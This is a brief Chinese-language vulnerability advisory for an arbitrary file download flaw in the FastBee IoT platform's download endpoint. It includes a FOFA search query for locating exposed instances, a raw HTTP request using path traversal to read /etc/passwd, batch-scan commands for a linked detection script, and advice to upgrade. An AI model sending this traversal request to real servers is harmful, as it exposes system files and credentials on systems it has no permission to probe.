FastBee开源物联网平台 download 任意文件下载漏洞【附poc】

fofa

icon_hash="-307138793"

一、漏洞简述

FastBee是一个开源物联网平台，旨在简化物联网设备的连接与管理。它提供了灵活的架构和丰富的API，支持多种通信协议，使开发者能够快速构建和部署物联网应用。通过FastBee，用户可以方便地实现数据采集、设备控制和远程监控，助力智能家居、工业自动化等多种场景的创新。其接口download存在任意文件下载漏洞，攻击者可通过该漏洞获取系统敏感信息。

二、漏洞检测poc

GET /prod-api/iot/tool/download?fileName=/../../../../../../../../../etc/passwd HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞：

https://github.com/ATonysan/poc-exp/blob/main/FastBee_DownLoad_ArbiraryFileRead.py

批量检测:

python FastBee_DownLoad_ArbiraryFileRead.py -f url.txt

单个url检测漏洞:

python FastBee_DownLoad_ArbiraryFileRead.py -u url

四、修复

官方已更新补丁，请升级至最新版本。

官网地址：https://www.fastbee.cn/